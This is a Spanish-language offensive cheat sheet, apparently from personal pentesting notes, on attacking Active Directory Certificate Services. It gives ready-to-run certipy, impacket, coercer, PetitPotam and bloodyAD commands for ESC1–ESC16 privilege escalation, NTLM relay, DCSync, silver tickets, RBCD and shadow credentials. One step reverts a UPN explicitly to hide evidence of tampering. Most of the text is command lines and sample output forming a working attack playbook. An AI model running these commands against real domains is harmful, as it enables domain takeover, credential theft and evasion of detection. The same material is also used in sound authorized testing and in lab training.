Active Directory Certificate Services (ADCS)
Introduction to ADCS
ADCS es el rol que maneja la emisión de certificados para usuarios, equipos y servicios en la red de Active Directory. Este servicio, si está mal configurado, puede presentar vulnerabilidades que los atacantes podrían explotar para elevar privilegios o acceder a información sensible.
Algunas de las posibles vulnerabilidades que puede tener ADCS son:
Delegación de privilegios en la emisión de certificados: Si ciertos usuarios tienen permisos para emitir certificados para otros, un atacante podría abusar de estos privilegios para obtener permisos elevados.
Mala configuración en las plantillas de certificados: Configuraciones incorrectas en las plantillas de certificados podrían permitir que un atacante solicite un certificado en nombre de otro usuario, incluso uno con privilegios elevados.
NTLM Relaying en HTTP: Si el ADCS acepta autenticación NTLM en lugar de Kerberos, un atacante podría redirigir las solicitudes para ganar acceso.
Componentes principales:
CA (Certification Authority): Emite y gestiona certificados. Puede haber múltiples CAs en una jerarquía.
Certificate Templates: Definen la configuración, permisos y requisitos para emitir certificados.
CES (Certificate Enrollment Server): Permite renovar certificados mediante solicitudes HTTPS.
Certificate Enrollment Policy Web Server: Proporciona información sobre la política de inscripción de certificados.
CA Web Enrollment: Permite que hosts fuera del dominio o con otros sistemas operativos renueven certificados.
NDES (Network Device Enrollment Service): Permite a dispositivos de red obtener certificados sin conexión.
Formatos de certificados X.509:
PEM: Certificado DER codificado en base64; puede almacenar múltiples claves sin protección por contraseña.
DER: Certificado en formato binario crudo.
PFX/P12 (PKCS#12): Almacena claves privadas con protección por contraseña.
P7B (PKCS#7): Almacena certificados de cadena, pero no claves privadas.
Principales atributos de certificados:
Subject: Entidad a la que se emite el certificado.
Issuer: Normalmente la CA.
SAN: Nombre alternativo del sujeto.
Validity Period: Periodo de validez del certificado.
EKU (Extended Key Use): Define usos específicos del certificado.
OID (Object Identifier): Indica el propósito o escenario de uso del certificado.
OID
Uso del certificado
1.3.6.1.5.5.7.3.1
Autenticación de servidor
1.3.6.1.5.5.7.3.2
Autenticación de cliente
1.3.6.1.5.5.7.3.3
Firma de código
1.3.6.1.5.5.7.3.4
Correo electrónico seguro
Proceso de CSR (Certificate Signing Request):
El cliente envía una solicitud de certificado (CSR).
La CA verifica los permisos del cliente para emitir el certificado solicitado.
Si los permisos coinciden, la CA genera y firma el certificado con su clave privada.
El certificado firmado es devuelto al cliente.
Checking Misconfigured Templates
Herramienta que utilizaremos para la escalada de privilegios con los ADCS.
Para verificar si existen plantillas mal configuradas, las cuales podemos abusar, podemos hacer uso del siguiente comando para que nos lo muestre en la terminal.
certipy-ad find -u user@dominio.htb -p 'Password01!' -dc-ip 10.10.10.10 -vulnerable -stdout
Ejemplo de cómo debería salirnos si existe una plantilla mal configurada en el ADCS que podemos intentar explotar. En este ejemplo, nos aparece que podemos realizar la explotación ESC7.

KDC_ERR_PADATA_TYPE_NOSUPP
Es posible que en algún momento obtengamos este mensaje de error al intentar autenticarnos con el certificado PFX
del usuario que estamos impersonando, lo que indica que el KDC no admite el tipo de autenticación proporcionado.
Nos encontramos con varios blogs que mencionan el error KDC_ERR_PADATA_TYPE_NOSUPP
, el cual ocurre cuando el controlador de dominio no soporta PKINIT. Esto impide que autenticarnos directamente con el certificado PFX.
Como alternativa, podemos utilizar PassTheCert
para autenticarnos a LDAP a través de SChannel
con nuestro certificado. Aunque esto solo nos daría acceso a LDAP, podría ser suficiente si el certificado nos identifica como Administrador de Dominio
.
Lo primero que haremos será extraer la clave privada y el certificado desde el archivo PFX que obtuvimos del usuario Administrator
. Para ello, utilizamos Certipy
de la siguiente manera. A continuación, haremos uso de la herramienta PassTheCert.py
para autentifcarnos con el certificado obtenido.
certipy-ad cert -pfx administrator.pfx -nokey -out administrator.crt
certipy-ad cert -pfx administrator.pfx -nocert -out administrator.key
Con PassTheCert
, utilizamos la clave privada y el certificado generado anteriormente para autenticarnos. En este ejemplo. se nos mostraría el resultado del comando whoami
.
Para poder escalar privilegios y buscar otras maneras. podemos obtener una consola LDAP Shell
con el parámetro -action ldap-shell
.
python3 /opt/PassTheCert/Python/passthecert.py -action whoami -crt administrator.crt -key administrator.key -domain dominio.htb -dc-ip 10.10.10.10
Para ver varios ejemplos del uso de PassTheCert
y de cómo logramos obtener acceso al sistema como el usuario Administrator
podemos comprobar el siguiente blog.
ESC1
Domain Users Enrollment
Solicitud del certificado con SAN alternativo.
# Autenticación con credenciales
certipy-ad req -u user@dominio.htb -p "Password01!" -ca <ca_name> -template <template_name> -upn administrator@domnio.htb -dc-ip 10.10.10.10
certipy-ad req -u user@dominio.htb -p "Password01!" -ca <ca_name> -template <template_name> -upn administrator -dc-ip 10.10.10.10
# Autenticación con hash NLTM realizando PassTheHash
certipy-ad req -u user@dominio.htb -hashes '<NTLM_HASH>' -ca <ca_name> -template <template_name> -upn administrator@domnio.htb -dc-ip 10.10.10.10
certipy-ad req -u user@dominio.htb -hashes '<NTLM_HASH>' -ca <ca_name> -template <template_name> -upn administrator -dc-ip 10.10.10.10
# Autenticación mediante Kerberos (necesario disponer de TGT/.ccache file en KRB5CCNAME)
certipy-ad req -k -no-pass -ca <ca_name> -template <template_name> -upn administrator@domnio.htb -dc-ip 10.10.10.10 -target dc.dominio.htb
certipy-ad req -k -no-pass -ca <ca_name> -template <template_name> -upn administrator -dc-ip 10.10.10.10 -target dc.dominio.htb
Autenticación con certificado.
certipy-ad auth -pfx administrator.pfx -dc-ip 10.10.10.10 -d dominio.htb
Domain Computers (Machine Account)
En algunas ocasiones, es posible que exista la ESC1
pero solamente se pueda realizar a través de algún Domain Computer
. En este resultado de adPEAS
se comprueba que solamente los Domain Computers
tienen permisos de enrollment
sobre la plantilla vulnerable para realizar el ESC1
.
[?] +++++ Checking Template 'CorpVPN' +++++
[!] Template 'CorpVPN' has Flag 'ENROLLEE_SUPPLIES_SUBJECT'
[+] Identity 'HTB\Domain Computers' has enrollment rights for template 'CorpVPN'
Por lo tanto, hay que disponer de las credenciales de un equipo, que se pueden obtener de diversas maneras. En caso de que podemos añadir nuevas máquinas al dominio, podemos realizar lo siguiente a través de la herramienta de PowerView.py
.
powerview dominio.htb/'user':'password'@10.10.10.10 --dc-ip 10.10.10.10
PV > Add-ADComputer -ComputerName Gzzcoo -ComputerPass Gzzcoo123
Una vez dispongamos de acceso a autenticarnos como un Domain Computer
, realizaremos el ataque. Sustituir Gzzcoo$
por el nombre del PC
y la contraseña Gzzcoo123
por la correspondiente.
certipy-ad req -u 'Gzzcoo$'@dominio.htb -p 'Gzzcoo123' -ca <ca_name> -template <template_name> -upn administrator@domnio.htb -dc-ip 10.10.10.10
certipy-ad req -u 'Gzzcoo$'@dominio.htb -p 'Gzzcoo123' -ca <ca_name> -template <template_name> -upn administrator -dc-ip 10.10.10.10
Autenticación con certificado.
certipy-ad auth -pfx administrator.pfx -username Administrator -domain dominio.htb
ESC2
Solicitud del certificado con SAN alternativo.
certipy-ad req -u user@dominio.htb -p "Password01!" -ca <ca_name> -template <template_name> -upn user
Autenticación con certificado.
certipy-ad auth -pfx administrator.pfx -username administrator -dc-ip 10.10.10.10 -d dominio.htb
Verificación.
KRB5CCNAME=administrator.ccache wmiexec.py dominio.htb/administrator@dc.dominio.htb -k -no-pass
ESC3
Solicitar un certificado.
certipy-ad req -u user@dominio.htb -p "Password01!" -ca <ca_name> -template <template_name> /altname:administrator@dominio.htb
Solicitar un certificando suplantando al Administrator.
certipy-ad req -u user@dominio.htb -p "Password01!" -ca <ca_name> -template <template_name> -on-behalf-of 'dominio.htb\administrator' -pfx user.pfx
ESC4
Atacando a la plantilla vulnerable a ESC4.
# Autenticación con credenciales
certipy-ad template -u 'user@dominio.htb' -p 'Password01!' -template <template_name> -save-old -dc-ip 10.10.10.10
# Autenticación con hash NLTM realizando PassTheHash
certipy-ad template -u 'user@dominio.htb' -hashes '<NTLM_HASH>' -template <template_name> -save-old -dc-ip 10.10.10.10
# Autenticación mediante Kerberos (necesario disponer de TGT/.ccache file en KRB5CCNAME)
certipy-ad template -k -no-pass -template <template_name> -save-old -dc-ip 10.10.10.10 -target dc.dominio.htb
Verificar plantilla ESC4 después de la modificación.
# Autenticación con credenciales
certipy-ad find -u 'user@dominio.htb' -p 'Password01!' -dc-ip 10.10.10.10 -vulnerable -stdout
# Autenticación con hash NLTM realizando PassTheHash
certipy-ad find -u 'user@dominio.htb' -hashes '<NTLM_HASH>' -dc-ip 10.10.10.10 -vulnerable -stdout
# Autenticación mediante Kerberos (necesario disponer de TGT/.ccache file en KRB5CCNAME)
certipy-ad find -k -no-pass -dc-ip 10.10.10.10 -vulnerable -stdout
Abusando de la plantilla modificada.
# Autenticación con credenciales
certipy-ad req -u 'user@dominio.htb' -p 'Password01!' -ca <ca_name> -template <template_name> -upn Administrator -dc-ip 10.10.10.10
# Autenticación con hash NLTM realizando PassTheHash
certipy-ad req -u 'user@dominio.htb' -hashes '<NTLM_HASH>' -ca <ca_name> -template <template_name> -upn Administrator -dc-ip 10.10.10.10
# Autenticación mediante Kerberos (necesario disponer de TGT/.ccache file en KRB5CCNAME)
certipy-ad req -k -no-pass -ca <ca_name> -template <template_name> -upn Administrator -dc-ip 10.10.10.10 -target dc.dominio.htb
Recuperando el hash NTLM del usuario Administrator.
certipy-ad auth -pfx administrator.pfx -domain domain.htb
Volviendo la plantilla ESC4 al estado original.
# Autenticación con credenciales
certipy-ad template -u 'user@dominio.htb' -p 'Password01!' -template <template_name> -configuration <template_name>.json
# Autenticación con hash NLTM realizando PassTheHash
certipy-ad template -u 'user@dominio.htb' -hashes '<NTLM_HASH>' -template <template_name> -configuration <template_name>.json
# Autenticación mediante Kerberos (necesario disponer de TGT/.ccache file en KRB5CCNAME)
certipy-ad template -k -no-pass -template <template_name> -configuration <template_name>.json -target dc.dominio.htb
ESC5
Solicitar el certificado del Domain Admin.
certipy-ad req -u 'user@dominio.htb' -p 'Password01!' -dc-ip <ip> -ns <ip> -dns-tcp -target-ip <ip> -ca <ca_name> -template <template> -upn Administrator
Emitir el certificado solicitado.
En este caso, aprobamos la solicitud anterior especificando el ID de la solicitud con la opción -issue-request 10.
certipy-ad ca -u 'user@dominio.htb' -p 'Password01!' -dc-ip <ip> -ns <ip> -dns-tcp -target-ip <ip> -ca <ca_name> -issue-request 10
Recuperar el certificado emitido.
certipy-ad req -u 'user@dominio.htb' -p 'Password01!' -dc-ip <ip> -ns <ip> -dns-tcp -target-ip <ip> -ca <ca_name> -retrieve 10
Autenticarse con el certificado del Administrator.
certipy-ad auth -pfx administrator.pfx -username administrator -domain dominio.htb -dc-ip <ip> -ns <ip> -dns-tcp
ESC6
Solicitud de certificado con UPN alternativo, en este caso, el usuario Administrator.
certipy-ad req -u 'user@dominio.htb' -p 'Password01!' -ca <ca_name> -target <ip> -template <template_name> -upn administrator@dominio.htb
ESC7
Requisitos previos
Para que esta técnica funcione, el usuario también debe tener el derecho de acceso Administrar certificados y la plantilla de certificado SubCA debe estar habilitada. Con el derecho de acceso Administrar CA, podemos cumplir con estos requisitos previos.
La técnica se basa en el hecho de que los usuarios con el derecho de acceso Administrar CA y Administrar certificados pueden emitir solicitudes de certificado fallidas. La plantilla de certificado SubCA es vulnerable a ESC1, pero solo los administradores pueden inscribirse en la plantilla. Por lo tanto, un usuario puede solicitar inscribirse en la SubCA (que será denegada) pero luego el administrador la emitirá.
Si solo tiene el derecho de acceso Administrar CA, puede otorgarse el derecho de acceso Administrar certificados agregando a su usuario como un nuevo funcionario.
certipy-ad ca -ca '<ca_name>' -add-officer 'User' -u 'user@dominio.htb' -p 'Password01!'
La plantilla SubCA se puede habilitar en la CA con el parámetro -enable-template. De manera predeterminada, la plantilla SubCA está habilitada.
certipy-ad ca -ca '<ca_name>' -enable-template SubCA -u 'user@dominio.htb' -p 'Password01!'
Ataque
Si hemos cumplido con los requisitos previos para este ataque, podemos comenzar solicitando un certificado basado en la plantilla SubCA.
Esta solicitud será rechazada, pero guardaremos la clave privada y anotaremos el ID de la solicitud.
certipy-ad req -u 'user@dominio.htb' -p 'Password01!' -ca '<ca_name>' -target dc.dominio.htb -template SubCA -upn administrator@dominio.htb
Con Administrar CA y Administrar certificados, podemos emitir la solicitud de certificado fallida con el comando ca y el parámetro -issue-request.
certipy-ad ca -ca '<ca_name>' -issue-request <ID> -u 'user@dominio.htb' -p 'Password01!'
Y finalmente, podemos recuperar el certificado emitido con el comando req y el parámetro -retrieve . Obtenemos el certificado del Administrator.
certipy-ad req -u 'user@dominio.htb' -p 'Password01!' -ca '<ca_name>' -target dc.dominio.htb -retrieve <ID>
ESC8
Certipy relay
certipy-ad relay -target <adcs_ip> -template <machine_template>
Realizar la Autenticación Coercion (desde otra terminal)
Esto nos dará el certificado y la clave privada del usuario.
coercer coerce -l <your_ip> -t <adcs_ip> -u 'user@dominio.htb' -p 'Password01!' -d dominio.htb -v
Solicitar un TGT como máquina de equipo (o Domain Controller)
certipy-ad auth -pfx machine_account.pfx
Esto nos dará el hash NTLM del usuario, que podemos usar para autenticarnos.
Dependiendo de la situación, ahora tenemos 2 ataques posibles...
DCSync (si disponemos de permisos de Administradores del dominio)
Realizando DCSync Attack utilizando el hash NTLM como Domain Controller.
impacket-secretsdump 'DC$@dominio.htb' -hashes :<NTLM_HASH> -dc-ip 10.10.10.10
Silver Ticket (utilizando el hash NTLM de una cuenta de equipo)
Creación del Silver Ticket
impacket-ticketer -nthash <nt_hash> -domain-sid <domain_sid> -domain dominio.htb -spn <spn> Administrator
Realizando PassTheTicket con PsExec
KRB5CCNAME=administrator.ccache impacket-psexec -k -no-pass -target machine.dominio.htb
ESC9
Requisitos:
GenericWrite o GenericAll sobre cualquier A para comprometer a la cuenta B.
En este caso 'hacker' dispone de los privilegios sobre 'victim'. El usuario 'victim' tiene permisos para realizar el ESC9.
Conseguir hash NTLM del usuario 'victim' a través de ShadowCredentials ya que el usuario 'hacker' dispone de los permisos necesarios sobre el usuario 'victim'.
certipy-ad shadow auto -username hacker@dominio.htb -p 'Password01!' -account victim
Utilizamos Certipy para actualizar el UPN de la cuenta 'victim', asignándole el valor de Administrator. Esto nos permite asociar cualquier certificado emitido a 'victim' con la identidad de Administrator:
certipy-ad account update -username hacker@dominio.htb -p 'Password01!' -user victim -upn administrator
Solicitamos un certificado utilizando la plantilla vulnerable. Este certificado se emitió con el UPN de Administrator, habilitando su uso para autenticación con privilegios elevados.
certipy-ad req -username victim@dominio.htb -hashes <NTLM_HASH> -dc-ip 10.10.10.10 -ca <ca_name> -template <template_name>
Posteriormente, restauramos el UPN de 'victim' a su valor original para minimizar evidencias de la modificación realizada.
certipy-ad account update -username hacker@dominio.htb -p 'Password01!' -user victim -upn victim@dominio.htb
Seguidamente utilizamos el certificado emitido para autenticarnos y verificamos que obtenemos el hash NTLM del usuario "Administrator".
certipy-ad auth -pfx administrator.pfx -domain dominio.htb
ESC10
Caso 1
Requisitos:
GenericWrite o GenericAll sobre cualquier A para comprometer a la cuenta B.
En este caso 'hacker' dispone de los privilegios sobre 'victim'. El usuario 'victim' tiene permisos para realizar el ESC10.
Conseguir hash NTLM del usuario 'victim' a través de ShadowCredentials ya que el usuario 'hacker' dispone de los permisos necesarios sobre el usuario 'victim'.
certipy-ad shadow auto -username hacker@dominio.htb -p 'Password01!' -account victim
Modificar el UPN del usuario 'victim' al usuario Administrator.
certipy-ad account update -username hacker@dominio.htb -p 'Password01!' -user victim -upn Administrator
Solicitud del certificado.
certipy-ad req -username victim@dominio.htb -hashes <NTLM_HASH> -ca <ca_name> -template <template_name>
Revertiremos los cambios del usuario 'victim' (para asegurarse de que solo el administrador coincida con el certificado)
certipy-ad account update -username hacker@dominio.htb -p 'Password01!' -user victim -upn victim@dominio.htb
Autenticarse como usuario Administrator.
certipy-ad auth -pfx administrator.pfx -domain dominio.htb
Caso 2
Requisitos:
GenericWrite o GenericAll sobre cualquier A para comprometer a la cuenta B sin que disponga un userPrincipalName (cuentas de máquina y administrador de dominio integrado Administrador.
En este caso 'hacker' dispone de los privilegios sobre 'victim' y deseamos comprometer el Domain Controller DC$@domain.htb.
Conseguir hash NTLM del usuario 'victim' a través de ShadowCredentials ya que el usuario 'hacker' dispone de los permisos necesarios sobre el usuario 'victim'.
certipy-ad shadow auto -username hacker@dominio.htb -p 'Password01!' -account victim
Modificamos el UPN del usuario 'victim' a 'DC$@dominio.htb'.
certipy-ad account update -username hacker@dominio.htb -p 'Password01! -user victim -upn 'DC$@dominio.com'
Solicitamos un certificado como 'victim' para obtener el certificado del Domain Controller (DC).
certipy-ad req -username victim@dominio.htb -hashes <NTLM_HASH> -ca <ca_name> -template <template_name>
Revertir los cambios de 'victim' (para asegurarse de que solo el administrador coincida con el certificado).
certipy-ad account update -username hacker@dominio.htb -p 'Password01!' -user victim -upn victim@dominio.htb
Autenticación con el certificado del DC.
certipy-ad auth -pfx <dc_machine_name>.pfx -domain dominio.htb -dc-ip 10.10.10.10 -ldap-shell
Creación de una nueva cuenta de equipo.
add_computer <new_account_name> <new_account_pass>
set_rbcd <dc_machine_name>$ <new_account_name>$
Abusar de RBCD (Resource Based Constrained Delegation) para impersonar al Administrator.
impacket-getST -spn cifs/<dc_machine_name>$@dominio.htb -impersonate Administrator -dc-ip 10.10.10.10 dominio.htb/'<new_account_name>$':<new_account_pass>
Autenticarse utilizando el TGT del usuario Administrator.
KRB5CCNAME=administrator.ccache wmiexec.py dominio.htb/administrator@dc.dominio.htb -k -no-pass
ESC11
Configuramos el relay
certipy-ad relay -target 'rpc://<adcs_address>' -ca <ca_name> -template DomainController
Autenticación Coerce con PetitPotam
python3 PetitPotam.py -u <user> -p <pass> -d <domain> <target_ip_address> <listener_address>
Certipy recibe autenticación del DC de AD
certipy-ad relay -target 'rpc://<adcs_address>' -ca <ca_name> -template DomainController
A continuación, se deberá realizarlos pasos del ESC8
ESC12
ESC13
Desde sistemas tipo UNIX, esta solicitud de extracción en Certipy (Python) permite identificar una plantilla de certificado con una política de emisión, es decir, con la propiedad msPKI-Certificate-Policy
no vacía. Además, verifica si esta política de emisión tiene un enlace de grupo OID a un grupo en la propiedad msDS-OIDToGroupLink
.
certipy-ad find -u '$USER@$DOMAIN' -p '"$PASSWORD' -dc-ip '$DC_IP'
Si se encuentra una plantilla vulnerable, no hay ningún requisito de emisión particular, el principal puede inscribirse y la plantilla indica el EKU de autenticación del cliente; solicite un certificado para esta plantilla con Certipy (Python) como de costumbre:
certipy-ad req -u "$USER@$DOMAIN" -p "$PASSWORD" -dc-ip "$DC_IP" -target "$ADCS_HOST" -ca 'ca_name' -template 'Vulnerable template'
Luego, el certificado se puede usar con Pass-the-Certificate para obtener un TGT y autenticarse como el principal controlado, pero con sus privilegios agregados a los del grupo vinculado.
ESC14
Scenario A: Write altSecurityIdentities on Target
Comprobar que con el usuario (userA
) tengamos permisos de escritura en el atributo altSecurityIdentities
en el usuario TARGET
(userB
).
❯ bloodyAD --host 10.10.10.10 -d gzzcoo.htb -u 'userA' -p 'password' get writable --detail
distinguishedName: CN=S-1-5-11,CN=ForeignSecurityPrincipals,DC=gzzcoo,DC=htb
url: WRITE
wWWHomePage: WRITE
distinguishedName: CN=userA,CN=Users,DC=gzzcoo,DC=htb
...[SNIP]...
distinguishedName: CN=userB,OU=Users,DC=gzzcoo,DC=htb
altSecurityIdentities: WRITE
Crearemos un nuevo Domain Computer
.
❯ powerview gzzcoo.htb/user:'password'@10.10.10.10 --dc-ip 10.10.10.10
Logging directory is set to /home/gzzcoo/.powerview/logs/gzzcoo
[2025-04-23 10:21:44] [Storage] Using cache directory: /home/gzzcoo/.powerview/storage/ldap_cache
(LDAPS)-[dc01.gzzcoo.htb]-[GZZCOO\user]
PV > Add-ADComputer -ComputerName gzzcoo -ComputerPass Gzzcoo123
[2025-04-23 10:22:01] Successfully added machine account gzzcoo$ with password Gzzcoo123.
(LDAPS)-[dc01.gzzcoo.htb]-[GZZCOO\user]
Autenticamos con el Domain Computer recién creado para obtener su PFX
.
❯ certipy-ad req -username 'gzzcoo$'@gzzcoo.htb -password 'Gzzcoo123' -ca <CA> -template Machine -target 10.10.10.10 -dc-ip 10.10.10.10
Certipy v4.8.2 - by Oliver Lyak (ly4k)
[*] Requesting certificate via RPC
[*] Successfully requested certificate
[*] Request ID is 15
[*] Got certificate with DNS Host Name 'gzzcoo.gzzcoo.htb'
[*] Certificate object SID is 'S-1-5-21-74879546-916818434-740295365-9101'
[*] Saved certificate and private key to 'gzzcoo.pfx'
Obtener el .crt
del certificado PFX del Domain Computer recién creado.
❯ certipy-ad cert -pfx gzzcoo.pfx -nokey -out gzzcoo.crt
Certipy v4.8.2 - by Oliver Lyak (ly4k)
[*] Writing certificate and to 'gzzcoo.crt'
Script para obtener el X509
a travésdel issuer y el serial.
import sys
from cryptography.hazmat.primitives.serialization import pkcs12
from cryptography import x509
from cryptography.hazmat.backends import default_backend
def format_serial_le(serial_int):
hex_serial = format(serial_int, 'x').zfill(2)
if len(hex_serial) % 2 != 0:
hex_serial = '0' + hex_serial
bytes_pairs = [hex_serial[i:i+2] for i in range(0, len(hex_serial), 2)]
return ''.join(reversed(bytes_pairs))
def parse_issuer(cert):
oid_map = {
'commonName': 'CN',
'countryName': 'C',
'organizationName': 'O',
'organizationalUnitName': 'OU',
'stateOrProvinceName': 'ST',
'localityName': 'L',
'domainComponent': 'DC'
}
issuer = cert.issuer
issuer_parts = []
for attribute in issuer:
oid = attribute.oid._name
key = oid_map.get(oid, oid)
value = attribute.value
issuer_parts.append(f"{key}={value}")
return ",".join(issuer_parts)
def get_cert_info(path):
with open(path, 'rb') as f:
data = f.read()
if path.endswith('.pfx'):
private_key, cert, _ = pkcs12.load_key_and_certificates(data, password=None, backend=default_backend())
else:
cert = x509.load_pem_x509_certificate(data, backend=default_backend())
serial_le = format_serial_le(cert.serial_number)
issuer = parse_issuer(cert)
print(f"X509:<I>{issuer}<SR>{serial_le}")
if __name__ == '__main__':
if len(sys.argv) != 2:
print("Uso: python3 x509.py file.pfx|file.crt")
sys.exit(1)
get_cert_info(sys.argv[1])
Resultado obtenido al ejecutar el script.
❯ python3 x509.py gzzcoo.pfx
X509:<I>DC=htb,DC=gzzcoo,CN=gzzcoo-DC01-CA<SR>0b00000000005faf85c9569c62400b00000062
Modificamos el atributo altSecurityIdentities
del userB
a través del userA
ya que disponemos de permisos y le asignamos el valor X509
anteriormente obtenido.
❯ bloodyAD --host 10.10.10.10 -d gzzcoo.htb -u 'userA' -p 'password' set object 'userB' altSecurityIdentities -v 'X509:<I>DC=htb,DC=gzzcoo,CN=gzzcoo-DC01-CA<SR>0b00000000005faf85c9569c62400b00000062'
[+] userB's altSecurityIdentities has been updated
Una vez modificado, nos autenticamos con el PFX del Domain Computer creado impersonando al userB
, obtenemos su hash NTLM
y su TGT (.ccache
).
❯ certipy-ad auth -pfx gzzcoo.pfx -dc-ip 10.10.10.10 -domain gzzcoo.htb -username 'userB'
Certipy v4.8.2 - by Oliver Lyak (ly4k)
[!] The provided username does not match the identification found in the provided certificate: 'USERB' - 'gzzcoo$'
Do you want to continue? (Y/n) Y
[*] Using principal: userB@gzzcoo.htb
[*] Trying to get TGT...
[*] Got TGT
[*] Saved credential cache to 'userB.ccache'
[*] Trying to retrieve NT hash for 'userB'
[*] Got hash for 'userB@gzzcoo.htb': aad3b5b5789c4b14789c4b04ee:1b92789c4b5c524f789c4b44789c4b118ce0
ESC15
ESC16
Nota muy importante: disponer de la última versión de certipy para que aparezca. Actualmente (5.0.2)
certipy-ad find -u attacker@domain.htb -p 'Password01!' -dc-ip 10.10.10.10 -vulnerable -stdout
Output:
Certificate Authorities
0
CA Name : CORP-CA
DNS Name : CA.CORP.LOCAL
...
Request Disposition : Issue
...
Disabled Extensions : 1.3.6.1.4.1.311.25.2
...
Permissions
Access Rights
...
Enroll : CORP.LOCAL\Authenticated Users
[+] User Enrollable Principals : CORP.LOCAL\Authenticated Users
[!] Vulnerabilities
ESC16 : Security Extension is disabled.
[*] Remarks
ESC16 : Other prerequisites may be required for this to be exploitable. See the wiki for more details.
Scenario A: UPN Manipulation (Requires StrongCertificateBindingEnforcement = 1 (Compatibility) or 0 (Disabled) on DCs, and attacker has write access to a "victim" account's UPN)
# Step 1: Read initial UPN of the victim account (Optional - for restoration).
certipy-ad account -u 'attacker' -p 'Password01!' -dc-ip 10.10.10 -user 'victim' read
Step 2: Update the victim account's UPN to the target administrator's sAMAccountName.
certipy-ad account -u 'attacker' -p 'Password01!' -dc-ip 10.10.10.10 -upn 'administrator@domain.htb' -user 'victim' update
Step 3: (If needed) Obtain credentials for the "victim" account (e.g., via Shadow Credentials).
En caso de disponer de las credenciales de victim, pasar directamente al paso 4.
certipy shadow auto -u 'attacker@domain.htb' -p 'Passw0rd!' -dc-ip 10.10.10.10 -account 'victim'
Step 4: Request a certificate as the "victim" user from any suitable client authentication template (e.g., "User") on the ESC16-vulnerable CA.
En caso de haber realizado el Shadow Credentials (Step 3) realizar los siguientes pasos.
export KRB5CCNAME=$(pwd)/victim.ccache
certipy-ad req -k -dc-ip 10.10.10.10 -dc-host DC01 -target 'DC01.DOMAIN.HTB' -ca 'CORP-CA' -template 'User'
En caso de disponer de las credenciales de victim
y no haber realizado el Step 3, realizar lo siguiente:
certipy-ad req -u 'victim' -p 'Password01!' -dc-ip 10.10.10.10 -target 'DC01.DOMAIN.HTB' -ca 'CORP-CA' -template 'User'
Step 5: Revert the "victim" account's UPN.
certipy-ad account -u 'attacker' -p 'Password01!' -dc-ip 10.10.10.10 -upn 'victim@domain.htb' -user 'victim' update
Step 6: Authenticate as the target administrator.
certipy-ad auth -dc-ip 10.10.10.10 -pfx administrator.pfx -username 'administrator' -domain 'domain.htb'
References
Abusing Active Dierctory Certificate Services Explication --> https://www.blackhillsinfosec.com/abusing-active-directory-certificate-services-part-one/
Abusing ADCS Attacks (ADMinions) --> https://adminions.ca/books/abusing-active-directory-certificate-services
Abusing ACS Attacks (The Hacker Recipes) --> https://www.thehacker.recipes/ad/movement/adcs/
Abusing ESC8 & ESC10 on ADCS --> https://research.ifcr.dk/certipy-4-0-esc9-esc10-bloodhound-gui-new-authentication-and-request-methods-and-more-7237d88061f7
Última actualización
¿Te fue útil?